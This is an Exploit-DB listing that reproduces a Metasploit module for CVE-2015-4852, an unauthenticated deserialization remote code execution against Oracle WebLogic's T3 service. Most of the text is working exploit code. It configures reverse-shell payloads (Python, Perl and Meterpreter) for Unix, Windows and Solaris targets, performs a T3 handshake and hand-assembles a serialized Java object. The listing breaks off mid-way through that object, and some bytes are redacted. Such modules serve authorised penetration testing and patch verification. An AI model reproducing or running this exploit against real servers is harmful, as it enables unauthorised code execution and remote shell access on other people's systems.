Exploit-DB #46628
Description: Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)
Type: remote
Platform: multiple
Date: 2019-03-28
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  #include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
      'Description' => %q{
        An unauthenticated attacker with network access to the Oracle Weblogic Server T3
        interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
        to the interface to execute code on vulnerable hosts.
      },
      'Author' =>
        [
        'Andres Rodriguez',  # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
        'Stephen Breen',     # Vulnerability Discovery
        'Aaron Soto'         # Reverse Engineering JSO and ysoserial blobs
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-4852']
        ],
      'Privileged' => false,
      'Platform' => %w{ unix win solaris },
      'Targets' =>
        [
          [ 'Unix',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
            'Payload' => {
              'Encoder' => 'cmd/ifs',
              'BadChars' => ' ',
              'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
            }
          ],
          [ 'Windows',
            'Platform' => 'win',
            'Payload' => {},
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
          ],
          [ 'Solaris',
            'Platform' => 'solaris',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
            'Payload' => {
              'Space'       => 2048,
              'DisableNops' => true,
              'Compat'      =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl telnet',
                }
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jan 28 2015'))

    register_options([Opt::RPORT(7001)])
  end

=begin   This check is currently incompatible with the Tcp mixin.  :-(
  def check
    resp = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/console/login/LoginForm.jsp'
    )

    return CheckCode::Unknown unless resp && resp.code == 200

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown
    end

    version = Gem::Version.new(version)
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
    case
    when version.to_s.start_with?('10.3')
      return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')
    when version.to_s.start_with?('12.1.2')
      return CheckCode::Appears unless version > Gem::Version.new('12.1.2.0')
    when version.to_s.start_with?('12.1.3')
      return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')
    when version.to_s.start_with?('12.2')
      return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')
    end

    return CheckCode::Safe
  end
=end

  def t3_handshake
    # retrieved from network traffic
    shake = "t3 12.2.1\n"
    shake << "AS:255\n"
    shake << "HL:19\n"
    shake << "MS:10000000\n\n"

    sock.put(shake)
    sleep(1)
    sock.get_once
  end

  def build_t3_request_object
    # T3 request serialized data
    # retrieved by watching network traffic
    # This is a proprietary, undocumented protocol

    # TODO: Cite a source for the dissection of in the following 14 lines:
    data =  '000005c3'                                     # lenght of the packet
    data << '01'                                           # CMD_IDENTIFY_REQUEST
    data << '65'                                           # QOS
    data << '01'                                           # Flags:
                                                           #   CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
                                                           #   CONTEXT_TX_FLAG = 2
                                                           #   CONTEXT_TRACE_FLAG = 4
                                                           #   CONTEXT_EXTENDED_FLAG = 8
                                                           #   CONTEXT_EXTENDED_USER_FLAG = 16
    data << 'ffffffff'                                     # response id
    data << 'ffffffff'                                     # invocable id
    data << '0000006a'                                     # abbrev offset
    data << '0000ea60'                                     # reconnect timeout ??

    data << '[PII_REDACTED]937b484a'
    data << '56fa4a777666f581daa4f5b90e2aebfc607499'
    data << 'b[PII_REDACTED][PII_REDACTED][PII_REDACTED]0000a00'
    data << '[PII_REDACTED][PII_REDACTED][PII_REDACTED]70707000'
    data << '00000a[PII_REDACTED][PII_REDACTED][PII_REDACTED]'

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72001d'                                       # className (29 bytes):
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
    data << '5